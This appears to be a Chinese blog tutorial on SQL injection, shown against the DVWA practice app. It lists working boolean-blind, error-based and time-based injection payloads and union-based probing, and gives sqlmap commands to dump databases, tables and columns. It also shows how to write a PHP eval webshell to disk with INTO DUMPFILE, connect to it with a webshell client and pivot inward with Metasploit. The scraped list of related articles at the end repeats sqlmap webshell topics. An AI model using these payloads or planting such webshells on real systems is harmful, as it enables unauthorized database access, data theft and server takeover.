SQL注入SQLmap简单用法,和SQL注入写入一句话木马
SQL注入
Boolean注入攻击-布尔盲注
1' and length(database())>1 -- qwe
1’ and length(database())>10 #
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
1’ and ascii(substr(database(),1,1))>88 #
1' and ascii(substr(database(),1,1))>1
报错注入攻击
and extractvalue(1, concat(0x7e,(select @@version),0x7e))
and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
时间注入攻击-时间盲注
if (length(database())>1,sleep(5),1)
时间盲注配合着 if(A,B,C) 语句结合使用,含义是:如果A是 true,则返回B(也就是执行B),否则返回C(执行C)
这个是百度百科的答案
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单点来说就是你提交的参数被当做代码去执行,网站的搭建,离不开码农的“加班”,再好的代码也是人写的,总有逻辑上的漏洞,说远了,SQL注入就是利用代码的漏洞,在接受用户传参的值的时候没有进行限制,或者限制的严格程度不够留下了问题。
这样子的,在接受GET传参时,没有进行限制,传递的参数直接提交数据库,这里就是可以利用的一点,用单引号闭合前面的SQL语句,用union select 联合查询去接你要查询的东西,
输入1’ union select 1 – 报错
输入1’ union select 1,2 –成功
源代码肯定是看不到的,
找到正确的闭合规则,
如:
输入1’ and 1 = 2 –- ,查询失败,返回结果为空
输入1’ and 1 = 1 – ,查询成功
所以需要去试,单引号闭合,双引号闭合,加括号闭合等等,这个适合GET传参,POST咋办?
没关系,复杂的学不来,直接拿前辈的成果SQLmap去跑就行了,直接用burp抓包,抓取你觉得有注入的点,打包成TXT,SQLmap可以下载的你的Windows,也可以用kali自带的,
(文笔不太好,想到哪里写到哪里,感觉kali应该也抽时间说一下)抓到的包就像这要的,这个我抓的是GET,POST也一样
用SQLmap去跑一下,SQLmap简单说一下
sqlmap --version 查看sqlmap版本信息.
-h 查看功能参数(常用的)
-hh 查看所有的参数 (如果有中文包 就最好了)
-v 显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.
Target(指定目标):
-d 直接连接数据库侦听端口,类似于把自己当一个客户端来连接.
-u 指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1
-l 指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描
-x 以xml的形式提交一个站点地图给sqlmap(表示不理解..)
-m 如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描
-r 把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体
-g 利用谷歌搜索引擎搭配正则来过滤你想要的
-c 加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描
sqlmap -r 你保存的文件名.txt 【如果知道注入点用-p “” 指定注入点,有的网页需要登录,用--cookie “”指定cookie值,这个值是你浏览器的cookieh值,咋看?谷歌的f12 ,火狐的开发者工具,找不到burp抓包,,,,有一些网站会检头部信息,--user-agent “” 指定user-agent 或者--random-agent 直接随机agent ,,,,,--level 3 安全级别】
如:
爆出数据库
sqlmap -r a.txt --dbs --batch
–current-db是获取当前正在使用的数据库
指定数据库,爆表
sqlmap -r a.txt -D dvwa --tables --batch
指定表爆列
sqlmap -r a.txt -D dvwa -T information --columns --batch
这个有使用文档,有需要的我等下给个链接
以上用的是MySQL数据库
以前面试被问道过,Mysql5.0以上和Mysql5.0以下的版本中最大的区别是什么?
Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,
SQL注入写一句话木马,需要由2个前提,
1.确定有注入点,并可用
2.知道绝对路径
如:
然后用联合查询
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'E:\php\phpstudy_pro\WWW\DVWA\vulnerabilities\sqli_blind\123.php';
用菜刀连接,KALI下MSF配合可以进行内网渗透
SQL注入SQLmap简单用法,和SQL注入写入一句话木马相关推荐
- sqlmap简单用法
1)判断当前用户是否是dba python sqlmap.py -u "url" --is-dba -v 12)--users:列出数据库管理系统用户 python sqlmap. ...
- sqlmap写入一句话木马
工具 靶机--metasploitable2 攻击机--kali 环境--Mutillidae 菜刀--蚁剑 主要参数 sqlmap参数:--file-read=RFILE Read a file f ...
- SQL SERVER自带调试工具SQL Server Profiler简单用法
尽管用过sqlserver好几年,但之前还真不知道有这么一个好用的调试工具. SQL Server Profiler可以跟踪数据库的运行操作,可以筛选要跟踪的数据库.
- 两个sql交集_简单明了的sql基础语句
一,数据库及表的增删改查 查看所有数据库:show databases; 切换到xxx库:use xxx; 查看库中所有的表:show tables; 查看表结构:desc 表名; 数据库创建:cre ...
- 【渗透工具】-SQL注入-SQLMap项目梳理
文章目录 概述8个目录文件 详细说明4个重点目录 软件说明doc 插件库plugins 绕过脚本tamper data数据目录 使用说明 查看软件信息 和 General 基础用法 -h 1.Targ ...
- 【SQL注入-文件读写】文件的读取+写入:函数、使用方法
目录 一.文件读取 1.1.读取函数: MySQL: 1.2.流程: 1.3.前提: 1.4.第一步:找路径: 方法一: 方法二: 方法三: 方法四: 方法五: 方法六: 方法七: 1.5.第二步:执 ...
- sql注入与一句话木马
0x00 sql注入之一句话木马 首先介绍一下一句话木马: 一句话木马是一种基于 B/S结构的简短脚本,通过这个脚本,执行POST来的任意参数语句,可以提交任意内容,黑客借此进行SQL注入或拿到SHE ...
- 防注入php 留言板代码,简单的 php 防注入代码
简明现代魔法 -> PHP服务器脚本 -> 简单的 php 防注入代码 简单的 php 防注入代码 2010-04-10 介绍两种方法吧,首先请把以下代码保存为safe.php放在网站根目 ...
- SQL语句中引号(')、quotedstr()、('')、format()在SQL语句中的用法
总结一下SQL语句中引号(').quotedstr().('').format()在SQL语句中的用法总结一下SQL语句中引号(').quotedstr().('').format()在SQL语句中的 ...
- 总结一下SQL语句中引号()、quotedstr()、()、format()在SQL语句中的用法
View Code 总结一下SQL语句中引号('').quotedstr().('''').format()在SQL语句中的用法以及SQL语句中日期格式的表示(#).('''')在Delphi中进行字 ...
最新文章
- 2017-2018 ACM-ICPC Asia East Continent League Final (ECL-Final) 题解(10 / 13)
- python获取用户输入中文_python中的用户输入
- 金立又推新机 欧新V908或近期发布 外观设计独到
- mysql5.6,基于GTID的主从同步与延迟复制
- 阿里云徐立:面向容器和 Serverless Computing 的存储创新
- JAVA通信编程(四)——UDP通讯
- sql中left join后用on还是where
- vue-cli 体验
- linux下通过phpize为php在不重新编译php情况下安装模块memcache
- android音频系统分析,详细分析智能手机Android系统硬件音频架构_ Android手机_Android手机开发_Android_课课家...
- unity Audio 基础知识二 Audio Mixer
- 痞子衡嵌入式:ARM Cortex-M内核那些事(3.2)- 安全模块看特性(M23/33/35P)
- CAD arx常用函数
- 什么是云服务和云服务端开发?
- 关闭、清除IBM小型机橙色告警灯方法
- ColorOS 13流畅吗?看OPPO在系统上做了哪些升级?
- 求两点之间最短路径-Dijkstra算法
- 关于ASP 文件类的使用
- 从码云git pull代码显示没权限
- 序列求和:问题描述 求1+2+3+...+n的值。 输入格式 输入包括一个整数n。 输出格式 输出一行,包括一个整数,表示1+2+3+...+n的值。